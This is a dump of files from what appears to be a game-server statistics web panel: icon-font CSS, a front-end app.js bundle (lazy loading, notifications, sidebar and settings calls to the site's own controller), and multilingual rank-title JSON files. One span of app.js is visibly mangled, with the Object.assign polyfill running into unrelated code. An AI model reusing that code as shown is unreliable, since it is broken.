'\f35f'; } .zmdi-twitter:before { content: '\f360'; } .zmdi-vk:before { content: '\f361'; } .zmdi-wikipedia:before { content: '\f362'; } .zmdi-windows:before { content: '\f363'; } .zmdi-aspect-ratio-alt:before { content: '\f364'; } .zmdi-aspect-ratio:before { content: '\f365'; } .zmdi-blur-circular:before { content: '\f366'; } .zmdi-blur-linear:before { content: '\f367'; } .zmdi-blur-off:before { content: '\f368'; } .zmdi-blur:before { content: '\f369'; } .zmdi-brightness-2:before { content: '\f36a'; } .zmdi-brightness-3:before { content: '\f36b'; } .zmdi-brightness-4:before { content: '\f36c'; } .zmdi-brightness-5:before { content: '\f36d'; } .zmdi-brightness-6:before { content: '\f36e'; } .zmdi-brightness-7:before { content: '\f36f'; } .zmdi-brightness-auto:before { content: '\f370'; } .zmdi-brightness-setting:before { content: '\f371'; } .zmdi-broken-image:before { content: '\f372'; } .zmdi-center-focus-strong:before { content: '\f373'; } .zmdi-center-focus-weak:before { content: '\f374'; } .zmdi-compare:before { content: '\f375'; } .zmdi-crop-16-9:before { content: '\f376'; } .zmdi-crop-3-2:before { content: '\f377'; } .zmdi-crop-5-4:before { content: '\f378'; } .zmdi-crop-7-5:before { content: '\f379'; } .zmdi-crop-din:before { content: '\f37a'; } .zmdi-crop-free:before { content: '\f37b'; } .zmdi-crop-landscape:before { content: '\f37c'; } .zmdi-crop-portrait:before { content: '\f37d'; } .zmdi-crop-square:before { content: '\f37e'; } .zmdi-exposure-alt:before { content: '\f37f'; } .zmdi-exposure:before { content: '\f380'; } .zmdi-filter-b-and-w:before { content: '\f381'; } .zmdi-filter-center-focus:before { content: '\f382'; } .zmdi-filter-frames:before { content: '\f383'; } .zmdi-filter-tilt-shift:before { content: '\f384'; } .zmdi-gradient:before { content: '\f385'; } .zmdi-grain:before { content: '\f386'; } .zmdi-graphic-eq:before { content: '\f387'; } .zmdi-hdr-off:before { content: '\f388'; } .zmdi-hdr-strong:before { content: '\f389'; } .zmdi-hdr-weak:before { content: '\f38a'; } .zmdi-hdr:before { content: '\f38b'; } .zmdi-iridescent:before { content: '\f38c'; } .zmdi-leak-off:before { content: '\f38d'; } .zmdi-leak:before { content: '\f38e'; } .zmdi-looks:before { content: '\f38f'; } .zmdi-loupe:before { content: '\f390'; } .zmdi-panorama-horizontal:before { content: '\f391'; } .zmdi-panorama-vertical:before { content: '\f392'; } .zmdi-panorama-wide-angle:before { content: '\f393'; } .zmdi-photo-size-select-large:before { content: '\f394'; } .zmdi-photo-size-select-small:before { content: '\f395'; } .zmdi-picture-in-picture:before { content: '\f396'; } .zmdi-slideshow:before { content: '\f397'; } .zmdi-texture:before { content: '\f398'; } .zmdi-tonality:before { content: '\f399'; } .zmdi-vignette:before { content: '\f39a'; } .zmdi-wb-auto:before { content: '\f39b'; } .zmdi-eject-alt:before { content: '\f39c'; } .zmdi-eject:before { content: '\f39d'; } .zmdi-equalizer:before { content: '\f39e'; } .zmdi-fast-forward:before { content: '\f39f'; } .zmdi-fast-rewind:before { content: '\f3a0'; } .zmdi-forward-10:before { content: '\f3a1'; } .zmdi-forward-30:before { content: '\f3a2'; } .zmdi-forward-5:before { content: '\f3a3'; } .zmdi-hearing:before { content: '\f3a4'; } .zmdi-pause-circle-outline:before { content: '\f3a5'; } .zmdi-pause-circle:before { content: '\f3a6'; } .zmdi-pause:before { content: '\f3a7'; } .zmdi-play-circle-outline:before { content: '\f3a8'; } .zmdi-play-circle:before { content: '\f3a9'; } .zmdi-play:before { content: '\f3aa'; } .zmdi-playlist-audio:before { content: '\f3ab'; } .zmdi-playlist-plus:before { content: '\f3ac'; } .zmdi-repeat-one:before { content: '\f3ad'; } .zmdi-repeat:before { content: '\f3ae'; } .zmdi-replay-10:before { content: '\f3af'; } .zmdi-replay-30:before { content: '\f3b0'; } .zmdi-replay-5:before { content: '\f3b1'; } .zmdi-replay:before { content: '\f3b2'; } .zmdi-shuffle:before { content: '\f3b3'; } .zmdi-skip-next:before { content: '\f3b4'; } .zmdi-skip-previous:before { content: '\f3b5'; } .zmdi-stop:before { content: '\f3b6'; } .zmdi-surround-sound:before { content: '\f3b7'; } .zmdi-tune:before { content: '\f3b8'; } .zmdi-volume-down:before { content: '\f3b9'; } .zmdi-volume-mute:before { content: '\f3ba'; } .zmdi-volume-off:before { content: '\f3bb'; } .zmdi-volume-up:before { content: '\f3bc'; } .zmdi-n-1-square:before { content: '\f3bd'; } .zmdi-n-2-square:before { content: '\f3be'; } .zmdi-n-3-square:before { content: '\f3bf'; } .zmdi-n-4-square:before { content: '\f3c0'; } .zmdi-n-5-square:before { content: '\f3c1'; } .zmdi-n-6-square:before { content: '\f3c2'; } .zmdi-neg-1:before { content: '\f3c3'; } .zmdi-neg-2:before { content: '\f3c4'; } .zmdi-plus-1:before { content: '\f3c5'; } .zmdi-plus-2:before { content: '\f3c6'; } .zmdi-sec-10:before { content: '\f3c7'; } .zmdi-sec-3:before { content: '\f3c8'; } .zmdi-zero:before { content: '\f3c9'; } .zmdi-airline-seat-flat-angled:before { content: '\f3ca'; } .zmdi-airline-seat-flat:before { content: '\f3cb'; } .zmdi-airline-seat-individual-suite:before { content: '\f3cc'; } .zmdi-airline-seat-legroom-extra:before { content: '\f3cd'; } .zmdi-airline-seat-legroom-normal:before { content: '\f3ce'; } .zmdi-airline-seat-legroom-reduced:before { content: '\f3cf'; } .zmdi-airline-seat-recline-extra:before { content: '\f3d0'; } .zmdi-airline-seat-recline-normal:before { content: '\f3d1'; } .zmdi-airplay:before { content: '\f3d2'; } .zmdi-closed-caption:before { content: '\f3d3'; } .zmdi-confirmation-number:before { content: '\f3d4'; } .zmdi-developer-board:before { content: '\f3d5'; } .zmdi-disc-full:before { content: '\f3d6'; } .zmdi-explicit:before { content: '\f3d7'; } .zmdi-flight-land:before { content: '\f3d8'; } .zmdi-flight-takeoff:before { content: '\f3d9'; } .zmdi-flip-to-back:before { content: '\f3da'; } .zmdi-flip-to-front:before { content: '\f3db'; } .zmdi-group-work:before { content: '\f3dc'; } .zmdi-hd:before { content: '\f3dd'; } .zmdi-hq:before { content: '\f3de'; } .zmdi-markunread-mailbox:before { content: '\f3df'; } .zmdi-memory:before { content: '\f3e0'; } .zmdi-nfc:before { content: '\f3e1'; } .zmdi-play-for-work:before { content: '\f3e2'; } .zmdi-power-input:before { content: '\f3e3'; } .zmdi-present-to-all:before { content: '\f3e4'; } .zmdi-satellite:before { content: '\f3e5'; } .zmdi-tap-and-play:before { content: '\f3e6'; } .zmdi-vibration:before { content: '\f3e7'; } .zmdi-voicemail:before { content: '\f3e8'; } .zmdi-group:before { content: '\f3e9'; } .zmdi-rss:before { content: '\f3ea'; } .zmdi-shape:before { content: '\f3eb'; } .zmdi-spinner:before { content: '\f3ec'; } .zmdi-ungroup:before { content: '\f3ed'; } .zmdi-500px:before { content: '\f3ee'; } .zmdi-8tracks:before { content: '\f3ef'; } .zmdi-amazon:before { content: '\f3f0'; } .zmdi-blogger:before { content: '\f3f1'; } .zmdi-delicious:before { content: '\f3f2'; } .zmdi-disqus:before { content: '\f3f3'; } .zmdi-flattr:before { content: '\f3f4'; } .zmdi-flickr:before { content: '\f3f5'; } .zmdi-github-alt:before { content: '\f3f6'; } .zmdi-google-old:before { content: '\f3f7'; } .zmdi-linkedin:before { content: '\f3f8'; } .zmdi-odnoklassniki:before { content: '\f3f9'; } .zmdi-outlook:before { content: '\f3fa'; } .zmdi-paypal-alt:before { content: '\f3fb'; } .zmdi-pinterest:before { content: '\f3fc'; } .zmdi-playstation:before { content: '\f3fd'; } .zmdi-reddit:before { content: '\f3fe'; } .zmdi-skype:before { content: '\f3ff'; } .zmdi-slideshare:before { content: '\f400'; } .zmdi-soundcloud:before { content: '\f401'; } .zmdi-tumblr:before { content: '\f402'; } .zmdi-twitch:before { content: '\f403'; } .zmdi-vimeo:before { content: '\f404'; } .zmdi-whatsapp:before { content: '\f405'; } .zmdi-xbox:before { content: '\f406'; } .zmdi-yahoo:before { content: '\f407'; } .zmdi-youtube-play:before { content: '\f408'; } .zmdi-youtube:before { content: '\f409'; } .zmdi-import-export:before { content: '\f30c'; } .zmdi-swap-vertical-:before { content: '\f30c'; } .zmdi-airplanemode-inactive:before { content: '\f102'; } .zmdi-airplanemode-active:before { content: '\f103'; } .zmdi-rate-review:before { content: '\f103'; } .zmdi-comment-sign:before { content: '\f25a'; } .zmdi-network-warning:before { content: '\f2ad'; } .zmdi-shopping-cart-add:before { content: '\f1ca'; } .zmdi-file-add:before { content: '\f221'; } .zmdi-network-wifi-scan:before { content: '\f2e4'; } .zmdi-collection-add:before { content: '\f14e'; } .zmdi-format-playlist-add:before { content: '\f3ac'; } .zmdi-format-queue-music:before { content: '\f3ab'; } .zmdi-plus-box:before { content: '\f277'; } .zmdi-tag-backspace:before { content: '\f1d9'; } .zmdi-alarm-add:before { content: '\f32b'; } .zmdi-battery-charging:before { content: '\f114'; } .zmdi-daydream-setting:before { content: '\f217'; } .zmdi-more-horiz:before { content: '\f19c'; } .zmdi-book-photo:before { content: '\f11b'; } .zmdi-incandescent:before { content: '\f189'; } .zmdi-wb-iridescent:before { content: '\f38c'; } .zmdi-calendar-remove:before { content: '\f330'; } .zmdi-refresh-sync-disabled:before { content: '\f1b7'; } .zmdi-refresh-sync-problem:before { content: '\f1b6'; } .zmdi-crop-original:before { content: '\f17e'; } .zmdi-power-off:before { content: '\f1af'; } .zmdi-power-off-setting:before { content: '\f1ae'; } .zmdi-leak-remove:before { content: '\f38d'; } .zmdi-star-border:before { content: '\f27c'; } .zmdi-brightness-low:before { content: '\f36d'; } .zmdi-brightness-medium:before { content: '\f36e'; } .zmdi-brightness-high:before { content: '\f36f'; } .zmdi-smartphone-portrait:before { content: '\f2d4'; } .zmdi-live-tv:before { content: '\f2d9'; } .zmdi-format-textdirection-l-to-r:before { content: '\f249'; } .zmdi-format-textdirection-r-to-l:before { content: '\f24a'; } .zmdi-arrow-back:before { content: '\f2ea'; } .zmdi-arrow-forward:before { content: '\f2ee'; } .zmdi-arrow-in:before { content: '\f2e9'; } .zmdi-arrow-out:before { content: '\f2ed'; } .zmdi-rotate-90-degrees-ccw:before { content: '\f304'; } .zmdi-adb:before { content: '\f33a'; } .zmdi-network-wifi:before { content: '\f2e8'; } .zmdi-network-wifi-alt:before { content: '\f2e3'; } .zmdi-network-wifi-lock:before { content: '\f2e5'; } .zmdi-network-wifi-off:before { content: '\f2e6'; } .zmdi-network-wifi-outline:before { content: '\f2e7'; } .zmdi-network-wifi-info:before { content: '\f2e4'; } .zmdi-layers-clear:before { content: '\f18b'; } .zmdi-colorize:before { content: '\f15d'; } .zmdi-format-paint:before { content: '\f1ba'; } .zmdi-format-quote:before { content: '\f1b2'; } .zmdi-camera-monochrome-photos:before { content: '\f285'; } .zmdi-sort-by-alpha:before { content: '\f1cf'; } .zmdi-folder-shared:before { content: '\f225'; } .zmdi-folder-special:before { content: '\f226'; } .zmdi-comment-dots:before { content: '\f260'; } .zmdi-reorder:before { content: '\f31e'; } .zmdi-dehaze:before { content: '\f197'; } .zmdi-sort:before { content: '\f1ce'; } .zmdi-pages:before { content: '\f34a'; } .zmdi-stack-overflow:before { content: '\f35c'; } .zmdi-calendar-account:before { content: '\f204'; } .zmdi-paste:before { content: '\f109'; } .zmdi-cut:before { content: '\f1bc'; } .zmdi-save:before { content: '\f297'; } .zmdi-smartphone-code:before { content: '\f139'; } .zmdi-directions-bike:before { content: '\f117'; } .zmdi-directions-boat:before { content: '\f11a'; } .zmdi-directions-bus:before { content: '\f121'; } .zmdi-directions-car:before { content: '\f125'; } .zmdi-directions-railway:before { content: '\f1b3'; } .zmdi-directions-run:before { content: '\f215'; } .zmdi-directions-subway:before { content: '\f1d5'; } .zmdi-directions-walk:before { content: '\f216'; } .zmdi-local-hotel:before { content: '\f178'; } .zmdi-local-activity:before { content: '\f1df'; } .zmdi-local-play:before { content: '\f1df'; } .zmdi-local-airport:before { content: '\f103'; } .zmdi-local-atm:before { content: '\f198'; } .zmdi-local-bar:before { content: '\f137'; } .zmdi-local-cafe:before { content: '\f13b'; } .zmdi-local-car-wash:before { content: '\f124'; } .zmdi-local-convenience-store:before { content: '\f1d3'; } .zmdi-local-dining:before { content: '\f153'; } .zmdi-local-drink:before { content: '\f157'; } .zmdi-local-florist:before { content: '\f168'; } .zmdi-local-gas-station:before { content: '\f16f'; } .zmdi-local-grocery-store:before { content: '\f1cb'; } .zmdi-local-hospital:before { content: '\f177'; } .zmdi-local-laundry-service:before { content: '\f1e9'; } .zmdi-local-library:before { content: '\f18d'; } .zmdi-local-mall:before { content: '\f195'; } .zmdi-local-movies:before { content: '\f19d'; } .zmdi-local-offer:before { content: '\f187'; } .zmdi-local-parking:before { content: '\f1a5'; } .zmdi-local-parking:before { content: '\f1a5'; } .zmdi-local-pharmacy:before { content: '\f176'; } .zmdi-local-phone:before { content: '\f2be'; } .zmdi-local-pizza:before { content: '\f1ac'; } .zmdi-local-post-office:before { content: '\f15a'; } .zmdi-local-printshop:before { content: '\f1b0'; } .zmdi-local-see:before { content: '\f28c'; } .zmdi-local-shipping:before { content: '\f1e6'; } .zmdi-local-store:before { content: '\f1d4'; } .zmdi-local-taxi:before { content: '\f123'; } .zmdi-local-wc:before { content: '\f211'; } .zmdi-my-location:before { content: '\f299'; } .zmdi-directions:before { content: '\f1e7'; } ================================================ FILE: storage/assets/js/app.js ================================================ /* Lazy Load XT 1.1.0 | MIT License */ !function(a,b,c,d){function e(a,b){return a[b]===d?t[b]:a[b]}function f(){var a=b.pageYOffset;return a===d?r.scrollTop:a}function g(a,b){var c=t["on"+a];c&&(w(c)?c.call(b[0]):(c.addClass&&b.addClass(c.addClass),c.removeClass&&b.removeClass(c.removeClass))),b.trigger("lazy"+a,[b]),k()}function h(b){g(b.type,a(this).off(p,h))}function i(c){if(z.length){c=c||t.forceLoad,A=1/0;var d,e,i=f(),j=b.innerHeight||r.clientHeight,k=b.innerWidth||r.clientWidth;for(d=0,e=z.length;e>d;d++){var l,m=z[d],q=m[0],s=m[n],u=!1,v=c||y(q,o)<0;if(a.contains(r,q)){if(c||!s.visibleOnly||q.offsetWidth||q.offsetHeight){if(!v){var x=q.getBoundingClientRect(),B=s.edgeX,C=s.edgeY;l=x.top+i-C-j,v=i>=l&&x.bottom>-C&&x.left<=k+B&&x.right>-B}if(v){m.on(p,h),g("show",m);var D=s.srcAttr,E=w(D)?D(m):q.getAttribute(D);E&&(q.src=E),u=!0}else A>l&&(A=l)}}else u=!0;u&&(y(q,o,0),z.splice(d--,1),e--)}e||g("complete",a(r))}}function j(){B>1?(B=1,i(),setTimeout(j,t.throttle)):B=0}function k(a){z.length&&(a&&"scroll"===a.type&&a.currentTarget===b&&A>=f()||(B||setTimeout(j,0),B=2))}function l(){v.lazyLoadXT()}function m(){i(!0)}var n="lazyLoadXT",o="lazied",p="load error",q="lazy-hidden",r=c.documentElement||c.body,s=b.onscroll===d||!!b.operamini||!r.getBoundingClientRect,t={autoInit:!0,selector:"img[data-src]",blankImage:"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",throttle:99,forceLoad:s,loadEvent:"pageshow",updateEvent:"load orientationchange resize scroll touchmove focus",forceEvent:"lazyloadall",oninit:{removeClass:"lazy"},onshow:{addClass:q},onload:{removeClass:q,addClass:"lazy-loaded"},onerror:{removeClass:q},checkDuplicates:!0},u={srcAttr:"data-src",edgeX:0,edgeY:0,visibleOnly:!0},v=a(b),w=a.isFunction,x=a.extend,y=a.data||function(b,c){return a(b).data(c)},z=[],A=0,B=0;a[n]=x(t,u,a[n]),a.fn[n]=function(c){c=c||{};var d,f=e(c,"blankImage"),h=e(c,"checkDuplicates"),i=e(c,"scrollContainer"),j=e(c,"show"),l={};a(i).on("scroll",k);for(d in u)l[d]=e(c,d);return this.each(function(d,e){if(e===b)a(t.selector).lazyLoadXT(c);else{var i=h&&y(e,o),m=a(e).data(o,j?-1:1);if(i)return void k();f&&"IMG"===e.tagName&&!e.src&&(e.src=f),m[n]=x({},l),g("init",m),z.push(m),k()}})},a(c).ready(function(){g("start",v),v.on(t.updateEvent,k).on(t.forceEvent,m),a(c).on(t.updateEvent,k),t.autoInit&&(v.on(t.loadEvent,l),l())})}(window.jQuery||window.Zepto||window.$,window,document),function(a){var b=a.lazyLoadXT;b.selector+=",video,iframe[data-src]",b.videoPoster="data-poster",a(document).on("lazyshow","video",function(c,d){var e=d.lazyLoadXT.srcAttr,f=a.isFunction(e),g=!1;d.attr("poster",d.attr(b.videoPoster)),d.children("source,track").each(function(b,c){var d=a(c),h=f?e(d):d.attr(e);h&&(d.attr("src",h),g=!0)}),g&&this.load()})}(window.jQuery||window.Zepto||window.$); !function(d) { "use strict"; Object.assign||Object.defineProperty(Object,"assign",{enumerable:!1,configurable:!0,writable:!0,value:function(e,r){"use strict";if(null==e)throw new TypeError("Cannot convert first argument to object");for(var t=Object(e),n=1;n= 0 && coords.left >= 0 && coords.bottom <= (window.innerHeight || d.documentElement.clientHeight) && coords.right <= (window.innerWidth || d.documentElement.clientWidth) ); }; var remove = function(el) { el = el || noteItem; el.setAttribute("data-show","false"); window.setTimeout(function() { el.remove(); }, 250); if(settings.callback) settings.callback(); // callback }; noteItemBtn.addEventListener("click", function() { remove(); }); window.setTimeout(function() { noteItem.setAttribute("data-show","true"); }, 250); if(!isVisible()) remove(noteBox.firstChild); window.setTimeout(remove, settings.time * 1000); }; }(document); if (avatar != 0) { $.post(domain + "/app/includes/js_controller.php", { function: 'avatars', data: avatar }, function (e) { var jsonData = $.parseJSON(e); if(typeof jsonData[0] !== 'undefined') { for (var i = 0; i < avatar.length; i++) { document.getElementById(avatar[i]).setAttribute("src", jsonData[i]); } } }) }; function action_sidebar() { if ($('body').hasClass('sidebar-collapse') || $('body').hasClass('sidebar-open')) { if (window.innerWidth > 1026) { $.post(domain + "/app/includes/js_controller.php", {function: 'sidebar', setup: 1}); $("body").removeClass("sidebar-collapse"); $("body").removeClass("sidebar-open"); } else { $.post(domain + "/app/includes/js_controller.php", {function: 'sidebar', setup: 1}); $("body").removeClass("sidebar-collapse"); $("body").removeClass("sidebar-open"); } } else { if (window.innerWidth > 1026) { $.post(domain + "/app/includes/js_controller.php", {function: 'sidebar', setup: 0}); $("body").removeClass("sidebar-open"); $("body").addClass("sidebar-collapse"); } else { $.post(domain + "/app/includes/js_controller.php", {function: 'sidebar', setup: 1}); $("body").removeClass("sidebar-collapse"); $("body").addClass("sidebar-open"); } } } function action_treeview() { if ($(".treeview-menu").hasClass('menu-open')) { $(".treeview-menu").removeClass("menu-open"); $( ".treeview-menu" ).slideUp(); } else { $(".treeview-menu").addClass("menu-open") $( ".treeview-menu" ).slideDown(); } } function set_options_data(data_id,change_data) { $.post( domain + "/app/includes/js_controller.php", { function: "set", option: data_id, change: change_data } ); note({ content: 'Сохранено', type: 'success', time: 3 }); } function set_options_data_select( name, value ) { $.post( domain + "/app/includes/js_controller.php", { function: "set", option: name, data: value } ); note({ content: 'Сохранено', type: 'success', time: 3 }); if( name == 'white_palette' ) { change_palette( value ); } else if ( name == 'dark_palette' ) { change_palette( value ); } else if ( name == 'background_image' ) { change_background_image( value ); } else if ( name == 'graphics_container' ) { if( value == 'stretch' ) { $( '.container-fluid' ).css( 'max-width', '1920px' ); } else if( value == 'static' ) { $( '.container-fluid' ).css( 'max-width', '1400px' ); } } } function change_background_image( value ) { var str = domain + '/storage/cache/img/global/backgrounds/' + value; document.body.style.backgroundImage = 'url(' + str + ')'; } function SaveInStorage(key, value) { if (typeof(Storage) !== 'undefined') { sessionStorage.setItem(key, value); } } function LoadFromStorage(key) { if (typeof(Storage) !== 'undefined') { return sessionStorage.getItem(key); } else { return ''; } } //Notifications --> var notifications = {}; var nonot = true; function PlaySound(src) { var audio = new Audio(src); audio.play(); } function main_notifications_icon_adjust(count,$html){ if(count != 0){ $('#main_notifications_badge').html(count); $('#main_notifications_badge').show(); return true; }else{ $('#main_notifications').html($html); $('#main_notifications_badge').html(false); $('#main_notifications_badge').hide(); return false; } } var main_notifications_cooldown = false; function main_notifications_refresh(){ $.ajax({ type: 'POST', url: window.location.href, data: {entryid: 1}, success: function(reuslt){ if(IsJsonString(reuslt)){ var data = jQuery.parseJSON(reuslt); SaveInStorage('notifications_count', data['count']); if(main_notifications_icon_adjust(data['count'],data['no_notifications'])){ if(nonot){$('#main_notifications').html('');} data['notifications'].forEach(function(notification){ if(!notifications.hasOwnProperty(notification['id'])){ $('#main_notifications').prepend(notification['html']); notifications[notification['id']] = true; if(notification['seen'] == 0 && main_notifications_cooldown == false){ main_notifications_cooldown = true; setTimeout(function(){main_notifications_cooldown = false;}, 3000) PlaySound('storage/assets/sounds/Knock.mp3'); } } }); nonot = false; }else{ nonot = true; } } } }); } function main_notifications_load(){ var count_saved = LoadFromStorage('notifications_count'); if($.isNumeric(count_saved)){ main_notifications_icon_adjust(count_saved); } main_notifications_refresh(); setInterval(main_notifications_refresh, 30000); } function main_notifications_chek(id){ $.ajax({ type: 'POST', url: window.location.href, data: { notific: id }, success: function(){ main_notifications_refresh(); } }); } //<-- Notifications main_notifications_load(); function IsJsonString(str) { try { JSON.parse(str); } catch (e) { return false; } return true; } $('#admin_idebar_right').click(function(){ if($('.sidebar-right').hasClass("unshow")) { $('.sidebar-right').removeClass("unshow"); SaveInStorage('panel_state', 'false'); } else { $('.sidebar-right').addClass("unshow"); SaveInStorage('panel_state', 'true'); } }); if(LoadFromStorage('panel_state') === 'true') { $('.sidebar-right').addClass("unshow"); } else { $('.sidebar-right').removeClass("unshow"); } function updateURL(text) { if (history.pushState) { var baseUrl = window.location.protocol + "//" + window.location.host + window.location.pathname; var newUrl = baseUrl + text; history.pushState(null, null, newUrl); } else { console.warn('History API не поддерживается'); } } $(".tooltip-js").on('mouseenter', function() { if ($('body').hasClass('sidebar-collapse')) { data = $(this).attr("data-tooltip-js"); var offsetTop = $(this).offset().top + 7; var offsetLeft = $(this).offset().left + $(this).width() + 10; if (data.indexOf('srv-') != -1){ offsetTop -= 10; offsetLeft += 30; } $('.box-button-'+data).css({ top: offsetTop, left: offsetLeft -20, opacity: 0, display: 'inline-block' }).animate({opacity: 1, left: offsetLeft},500); } }); $(".tooltip-js").on('mouseleave', function() { data = $(this).attr("data-tooltip-js"); $('.box-button-'+data).css({ opacity: 0, display: 'none' }); $('.box-button-'+data).offset({top: 0, left: 0}); }); ================================================ FILE: storage/cache/img/avatars/1.json ================================================ ================================================ FILE: storage/cache/img/ranks/dangerzone/description.json ================================================ { "title": "Ranks | Danger Zone", "author": "M0st1ce" } ================================================ FILE: storage/cache/img/ranks/dangerzone/title.json ================================================ { "_": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango" }, "0": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango" }, "00": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango" }, "1": { "EN" : "Lab Rat I", "RU" : "Lab Rat I", "UA" : "Lab Rat I", "LT" : "Lab Rat I" }, "2": { "EN" : "Lab Rat II", "RU" : "Lab Rat II", "UA" : "Lab Rat II", "LT" : "Lab Rat II" }, "3": { "EN" : "Sprinting Hare I", "RU" : "Sprinting Hare I", "UA" : "Sprinting Hare I", "LT" : "Sprinting Hare I" }, "4": { "EN" : "Sprinting Hare II", "RU" : "Sprinting Hare II", "UA" : "Sprinting Hare II", "LT" : "Sprinting Hare II" }, "5": { "EN" : "Wild Scout I", "RU" : "Wild Scout I", "UA" : "Wild Scout I", "LT" : "Wild Scout I" }, "6": { "EN" : "Wild Scout II", "RU" : "Wild Scout II", "UA" : "Wild Scout II", "LT" : "Wild Scout II" }, "7": { "EN" : "Wild Scout Elite", "RU" : "Wild Scout Elite", "UA" : "Wild Scout Elite", "LT" : "Wild Scout Elite" }, "8": { "EN" : "Hunter Fox I", "RU" : "Hunter Fox I", "UA" : "Hunter Fox I", "LT" : "Hunter Fox I" }, "9": { "EN" : "Hunter Fox II", "RU" : "Hunter Fox II", "UA" : "Hunter Fox II", "LT" : "Hunter Fox II" }, "10": { "EN" : "Hunter Fox III", "RU" : "Hunter Fox III", "UA" : "Hunter Fox III", "LT" : "Hunter Fox III" }, "11": { "EN" : "Hunter Fox Elite", "RU" : "Hunter Fox Elite", "UA" : "Hunter Fox Elite", "LT" : "Hunter Fox Elite" }, "12": { "EN" : "Timber Wolf", "RU" : "Timber Wolf", "UA" : "Timber Wolf", "LT" : "Timber Wolf" }, "13": { "EN" : "Ember Wolf", "RU" : "Ember Wolf", "UA" : "Ember Wolf", "LT" : "Ember Wolf" }, "14": { "EN" : "Wildfire Wolf", "RU" : "Wildfire Wolf", "UA" : "Wildfire Wolf", "LT" : "Wildfire Wolf" }, "15": { "EN" : "The Howling Alpha", "RU" : "The Howling Alpha", "UA" : "The Howling Alpha", "LT" : "The Howling Alpha" } } ================================================ FILE: storage/cache/img/ranks/default/description.json ================================================ { "title": "Rank | MatchMaking Default", "author": "M0st1ce" } ================================================ FILE: storage/cache/img/ranks/default/title.json ================================================ { "_": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango", "CH" : "无段位" }, "0": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango", "CH" : "无段位" }, "00": { "EN" : "No rank", "RU" : "Нету ранга", "UA" : "Нема рангу", "LT" : "Nėra rango", "CH" : "无段位" }, "1": { "EN" : "Silver 1", "RU" : "Серебро 1", "UA" : "Срібло 1", "LT" : "Silver 1", "CH" : "白银 ー I" }, "2": { "EN" : "Silver 2", "RU" : "Серебро 2", "UA" : "Срібло 2", "LT" : "Silver 2", "CH" : "白银 ー II" }, "3": { "EN" : "Silver 3", "RU" : "Серебро 3", "UA" : "Срібло 3", "LT" : "Silver 3", "CH" : "白银 ー III" }, "4": { "EN" : "Silver 4", "RU" : "Серебро 4", "UA" : "Срібло 4", "LT" : "Silver 4", "CH" : "白银 ー IV" }, "5": { "EN" : "Silver Elite", "RU" : "Серебро Элита", "UA" : "Срібло Еліта", "LT" : "Silver Elite", "CH" : "白银 ー 精英" }, "6": { "EN" : "Silver Elite Master", "RU" : "Серебро - Великий Магистр", "UA" : "Срібло - Великий Магістр", "LT" : "Silver Elite Master", "CH" : "白银 ー 大师级精英" }, "7": { "EN" : "Gold Nova 1", "RU" : "Золотая звезда 1", "UA" : "Золота зірка 1", "LT" : "Gold Nova 1", "CH" : "黄金新星 ー I" }, "8": { "EN" : "Gold Nova 2", "RU" : "Золотая звезда 2", "UA" : "Золота зірка 2", "LT" : "Gold Nova 2", "CH" : "黄金新星 ー II" }, "9": { "EN" : "Gold Nova 3", "RU" : "Золотая звезда 3", "UA" : "Золота зірка 3", "LT" : "Gold Nova 3", "CH" : "黄金新星 ー III" }, "10": { "EN" : "Gold Nova Master", "RU" : "Золотая звезда - Магистр", "UA" : "Золота зірка - Магістр", "LT" : "Gold Nova Master", "CH" : "黄金新星 ー 大师级" }, "11": { "EN" : "Master Guardian 1", "RU" : "Магистр-хранитель 1", "UA" : "Магістр-хранитель 1", "LT" : "Master Guardian 1", "CH" : "大师级守护者 ー I" }, "12": { "EN" : "Master Guardian 2", "RU" : "Магистр-хранитель 2", "UA" : "Магістр-хранитель 2", "LT" : "Master Guardian 2", "CH" : "大师级守护者 ー II" }, "13": { "EN" : "Master Guardian Elite", "RU" : "Магистр-хранитель Элита", "UA" : "Магістр-хранитель Еліта", "LT" : "Master Guardian Elite", "CH" : "大师级守护者 ー 精英" }, "14": { "EN" : "Distinguished Master Guardian", "RU" : "Заслуженный Магистр-хранитель", "UA" : "Заслужений Магістр-хранитель", "LT" : "Distinguished Master Guardian", "CH" : "大师级守护者 ー 卓越" }, "15": { "EN" : "Legendary Eagle", "RU" : "Легендарный Беркут", "UA" : "Легендарный Беркут", "LT" : "Legendary Eagle", "CH" : "传奇之鹰" }, "16": { "EN" : "Legendary Eagle Master", "RU" : "Легендарный Беркут-магистр", "UA" : "Легендарний Беркут-магістр", "LT" : "Legendary Eagle Master", "CH" : "传奇之鹰 ー 大师级" }, "17": { "EN" : "Supreme Master First Class", "RU" : "Великий Магистр Высшего Ранга", "UA" : "Великий Магістр Вищого Рангу", "LT" : "Supreme Master First Class", "CH" : "无上之首席大师" }, "18": { "EN" : "The Global Elite", "RU" : "Всемирная Элита", "UA" : "Всесвітня Еліта", "LT" : "The Global Elite", "CH" : "全球精英" } } ================================================ FILE: storage/cache/img/ranks/faceit/description.json ================================================ { "title": "Ranks | Level Faceit", "author": "M0st1ce" } ================================================ FILE: storage/cache/img/ranks/faceit/title.json ================================================ { "_": { "EN" : "No level", "RU" : "Нету уровня", "UA" : "Нема рівень", "LT" : "Nėra lygis" }, "0": { "EN" : "No level", "RU" : "Нету уровня", "UA" : "Нема рівень", "LT" : "Nėra lygis" }, "00": { "EN" : "No level", "RU" : "Нету уровня", "UA" : "Нема рівень", "LT" : "Nėra lygis" }, "1": { "EN" : "Level 1", "RU" : "Уровень 1", "UA" : "Рівень 1", "LT" : "Lygis 1" }, "2": { "EN" : "Level 2", "RU" : "Уровень 2", "UA" : "Рівень 2", "LT" : "Lygis 2" }, "3": { "EN" : "Level 3", "RU" : "Уровень 3", "UA" : "Рівень 3", "LT" : "Lygis 3" }, "4": { "EN" : "Level 4", "RU" : "Уровень 4", "UA" : "Рівень 4", "LT" : "Lygis 4" }, "5": { "EN" : "Level 5", "RU" : "Уровень 5", "UA" : "Рівень 5", "LT" : "Lygis 5" }, "6": { "EN" : "Level 6", "RU" : "Уровень 6", "UA" : "Рівень 6", 